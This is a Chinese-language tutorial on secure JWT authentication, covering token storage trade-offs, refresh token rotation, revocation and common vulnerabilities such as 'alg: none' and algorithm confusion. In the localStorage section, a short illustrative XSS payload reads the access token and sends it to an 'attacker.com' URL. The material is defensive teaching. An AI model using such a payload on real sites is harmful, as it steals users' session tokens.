正在加载,请稍候…

JWT 认证最佳实践:存储、刷新令牌与常见错误

JWT 认证完整指南:安全存储选项(httpOnly Cookie 与 localStorage 对比)、刷新令牌轮换、令牌撤销、常见漏洞及生产模式。

JWT 认证最佳实践:存储、刷新令牌与常见错误

JWT 的争论在于上下文

“应该将 JWT 存储在 localStorage 还是 httpOnly Cookie 中?”这是 Web 安全领域争论最多的问题之一。令人沮丧的答案是:这取决于你的威胁模型,两种选择都有实际的权衡。

本指南不仅仅给出“正确答案”——它解释了实际的安全影响,以便你能够针对特定应用做出明智的决策。

JWT 认证最佳实践:存储、刷新令牌与常见错误 插图

JWT 结构回顾

JWT 由三个 base64url 编码的部分组成,用点分隔:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.     ← 头部
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkFsaWNlIiwicm9sZSI6InVzZXIiLCJpYXQiOjE3MDAwMDAwMDAsImV4cCI6MTcwMDAwMzYwMH0.  ← 载荷
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c  ← 签名

解码后的载荷:

{
  "sub": "1234567890",
  "name": "Alice",
  "role": "user",
  "iat": 1700000000,
  "exp": 1700003600
}

关键属性:

  • 自包含:服务器无需查询数据库即可验证 JWT
  • 默认未加密:载荷是 base64url 编码,而非加密(如需加密,请使用 JWE)
  • 无状态:支持水平扩展,无需会话存储
  • 过期前无法失效(除非添加黑名单)

令牌存储:真正的权衡

localStorage / sessionStorage

// 将 JWT 存储在 localStorage 中
localStorage.setItem('accessToken', jwt)

// 在请求中发送
fetch('/api/data', {
  headers: { Authorization: `Bearer ${localStorage.getItem('accessToken')}` }
})

漏洞:XSS 攻击可以读取 localStorage。任何注入的脚本都可以窃取令牌:

// 攻击者的 XSS 载荷所做的:
const token = localStorage.getItem('accessToken')
fetch('https://attacker.com/steal?t=' + token)

何时可以接受

  • 你有非常强的 XSS 防护(严格的 CSP、无用户生成的 HTML、无第三方脚本)
  • 令牌的价值较低(访问非敏感公共数据)
  • 你正在构建原生移动应用(无 XSS 风险,localStorage 等效方案没问题)

JWT 认证最佳实践:存储、刷新令牌与常见错误 插图

httpOnly Cookie

// 服务器设置 httpOnly cookie — JavaScript 无法访问此 cookie
res.cookie('accessToken', jwt, {
  httpOnly: true,     // ← JavaScript 无法读取
  secure: true,       // ← 仅 HTTPS
  sameSite: 'strict', // ← CSRF 防护
  maxAge: 15 * 60 * 1000, // 15 分钟
  path: '/api',       // 仅对 /api/* 请求发送
})

优点:XSS 无法窃取令牌(JavaScript 无法读取 httpOnly cookie)

漏洞:CSRF 攻击。Cookie 会自动随跨站请求发送。

针对 httpOnly Cookie 的 CSRF 缓解措施:

  • 使用 SameSite=StrictSameSite=Lax(覆盖大多数 CSRF 场景)
  • 对于剩余缺口,添加 CSRF 令牌
// 用于 CSRF 防护的双重提交 Cookie 模式:
// 1. 设置第二个非 httpOnly 的 CSRF cookie
res.cookie('csrfToken', csrfValue, {
  httpOnly: false, // JavaScript 可以读取此 cookie
  secure: true,
  sameSite: 'strict',
})

// 2. 客户端也将其作为标头发送
fetch('/api/transfer', {
  method: 'POST',
  headers: { 'X-CSRF-Token': getCookie('csrfToken') },
  credentials: 'include', // 发送 cookie
})

// 3. 服务器验证两者匹配
if (req.cookies.csrfToken !== req.headers['x-csrf-token']) {
  return res.status(403).json({ error: 'CSRF validation failed' })
}

对大多数应用的推荐:httpOnly Cookie + SameSite=Strict。

访问令牌 + 刷新令牌模式

短生命周期的访问令牌 + 长生命周期的刷新令牌是会话管理的行业标准:

访问令牌:15 分钟生命周期 → 用于 API 调用
刷新令牌:30 天生命周期    → 仅用于获取新的访问令牌
// 登录:颁发两个令牌
app.post('/auth/login', async (req, res) => {
  const { email, password } = req.body
  const user = await authenticateUser(email, password)
  
  if (!user) return res.status(401).json({ error: 'Invalid credentials' })
  
  const accessToken = generateAccessToken(user)    // 15 分钟 JWT
  const refreshToken = generateRefreshToken(user)  // 30 天,不透明令牌
  
  // 将刷新令牌存储在数据库中(用于轮换/撤销)
  await db.refreshTokens.create({
    token: hashToken(refreshToken), // 存储哈希,而非明文
    userId: user.id,
    expiresAt: new Date(Date.now() + 30 * 24 * 60 * 60 * 1000),
    family: generateTokenFamily(), // 用于检测令牌重用
  })
  
  // 访问令牌存储在内存(JavaScript)或 httpOnly cookie 中
  res.cookie('refreshToken', refreshToken, {
    httpOnly: true,
    secure: true,
    sameSite: 'strict',
    maxAge: 30 * 24 * 60 * 60 * 1000,
    path: '/auth/refresh', // 仅发送到刷新端点
  })
  
  res.json({ accessToken, user: { id: user.id, name: user.name } })
})

刷新令牌轮换

// /auth/refresh — 获取新的访问令牌
app.post('/auth/refresh', async (req, res) => {
  const refreshToken = req.cookies.refreshToken
  if (!refreshToken) return res.status(401).json({ error: 'No refresh token' })
  
  // 验证令牌是否在数据库中
  const storedToken = await db.refreshTokens.findByHash(hashToken(refreshToken))
  
  if (!storedToken || storedToken.expiresAt < new Date()) {
    // 无效或已过期 — 清除 cookie
    res.clearCookie('refreshToken')
    return res.status(401).json({ error: 'Invalid refresh token' })
  }
  
  // 关键:检查令牌重用(可能检测到窃取)
  if (storedToken.used) {
    // 有人正在使用之前使用过的刷新令牌!
    // 这意味着:
    // 1. 攻击者窃取了旧令牌并在轮换后使用
    // 2. 网络重试(不太令人担忧)
    
    // 使整个令牌族失效(注销该用户的所有会话)
    await db.refreshTokens.revokeFamily(storedToken.family)
    res.clearCookie('refreshToken')
    return res.status(401).json({ error: 'Token reuse detected. Please log in again.' })
  }
  
  // 将旧令牌标记为已使用
  await db.refreshTokens.markUsed(storedToken.id)
  
  // 颁发新令牌(轮换)
  const user = await db.users.findById(storedToken.userId)
  const newAccessToken = generateAccessToken(user)
  const newRefreshToken = generateRefreshToken(user)
  
  await db.refreshTokens.create({
    token: hashToken(newRefreshToken),
    userId: user.id,
    family: storedToken.family, // 与旧令牌相同的族
    expiresAt: new Date(Date.now() + 30 * 24 * 60 * 60 * 1000),
  })
  
  res.cookie('refreshToken', newRefreshToken, {
    httpOnly: true, secure: true, sameSite: 'strict',
    path: '/auth/refresh',
    maxAge: 30 * 24 * 60 * 60 * 1000,
  })
  
  res.json({ accessToken: newAccessToken })
})

JWT 认证最佳实践:存储、刷新令牌与常见错误 插图

前端静默令牌刷新

// Axios 拦截器用于自动令牌刷新
import axios from 'axios'

let isRefreshing = false
let refreshSubscribers: ((token: string) => void)[] = []

const api = axios.create({ baseURL: '/api' })

api.interceptors.response.use(
  (response) => response,
  async (error) => {
    const originalRequest = error.config
    
    if (error.response?.status === 401 && !originalRequest._retry) {
      if (isRefreshing) {
        // 正在刷新 — 等待新令牌
        return new Promise((resolve) => {
          refreshSubscribers.push((token) => {
            originalRequest.headers.Authorization = `Bearer ${token}`
            resolve(api(originalRequest))
          })
        })
      }
      
      originalRequest._retry = true
      isRefreshing = true
      
      try {
        const { data } = await axios.post('/auth/refresh', {}, { withCredentials: true })
        const newToken = data.accessToken
        
        // 通知排队的请求
        refreshSubscribers.forEach(cb => cb(newToken))
        refreshSubscribers = []
        
        originalRequest.headers.Authorization = `Bearer ${newToken}`
        return api(originalRequest)
      } catch {
        // 刷新失败 — 重定向到登录
        window.location.href = '/login'
        return Promise.reject(error)
      } finally {
        isRefreshing = false
      }
    }
    
    return Promise.reject(error)
  }
)

常见 JWT 漏洞

1. None 算法攻击:

// 易受攻击的服务器:
const decoded = jwt.decode(token, { algorithms: ['HS256', 'none'] })
// 攻击者发送头部为 { "alg": "none" } 的令牌 — 无签名验证!

// 修复:始终明确指定要接受的算法:
jwt.verify(token, secret, { algorithms: ['HS256'] })

2. 对称与非对称混淆:

// 如果服务器使用 RS256 (RSA),公钥是已知的
// 攻击者诱骗易受攻击的服务器使用 HS256 并将公钥作为密钥

// 修复:明确指定算法:
jwt.verify(token, publicKey, { algorithms: ['RS256'] }) // 对于 RSA,绝不使用 'HS256'

3. 弱密钥:

// ❌ 弱密钥 — 可离线暴力破解
const secret = 'secret'

// ✅ 密码学随机,≥32 字节
import crypto from 'crypto'
const secret = process.env.JWT_SECRET // 必须为:crypto.randomBytes(32).toString('hex')
// 生成一次:node -e "console.log(require('crypto').randomBytes(32).toString('hex'))"

4. 缺少过期时间:

// ❌ 无过期时间 — 永久有效
jwt.sign({ userId: 1 }, secret)

// ✅ 始终设置过期时间
jwt.sign({ userId: 1 }, secret, { expiresIn: '15m' })

5. 载荷中的敏感数据:

// ❌ 切勿将敏感数据放入 JWT — 它是 base64 编码,而非加密
jwt.sign({ 
  userId: 1, 
  password: 'hashed', // 不要包含
  creditCard: '4111...', // 绝不!
  ssn: '123-45-6789', // 绝对不行
}, secret)

// ✅ 仅包含授权所需的内容
jwt.sign({ 
  sub: '1234567890',
  role: 'user',
  iat: Math.floor(Date.now() / 1000),
}, secret, { expiresIn: '15m' })

注销与令牌撤销

JWT 无法被“删除”——它们在过期前一直有效。解决方案:

// 1. 短生命周期的访问令牌(15 分钟)— 自然过期
// 注销时只需清除刷新令牌

// 2. 用于立即撤销的令牌黑名单
const redis = createClient()

// 注销时:
app.post('/auth/logout', authenticate, async (req, res) => {
  const token = extractToken(req.headers.authorization)
  const decoded = jwt.decode(token) as JwtPayload
  
  // 将令牌 ID 添加到黑名单,直到其自然过期
  const ttl = decoded.exp! - Math.floor(Date.now() / 1000)
  await redis.setEx(`revoked:${decoded.jti}`, ttl, '1')
  
  // 清除刷新令牌
  res.clearCookie('refreshToken')
  res.json({ message: 'Logged out' })
})

// 在认证中间件中:
async function verifyToken(token: string) {
  const decoded = jwt.verify(token, secret) as JwtPayload
  
  // 检查黑名单
  const isRevoked = await redis.exists(`revoked:${decoded.jti}`)
  if (isRevoked) throw new Error('Token revoked')
  
  return decoded
}

访问令牌 + 刷新令牌模式结合 httpOnly Cookie 和刷新令牌轮换,可以安全地覆盖 95% 的生产用例。对于剩余的 5%(原生应用、复杂多租户场景),请理解权衡并相应实施。

→ 使用 JWT Parser 工具解码和检查 JWT 令牌。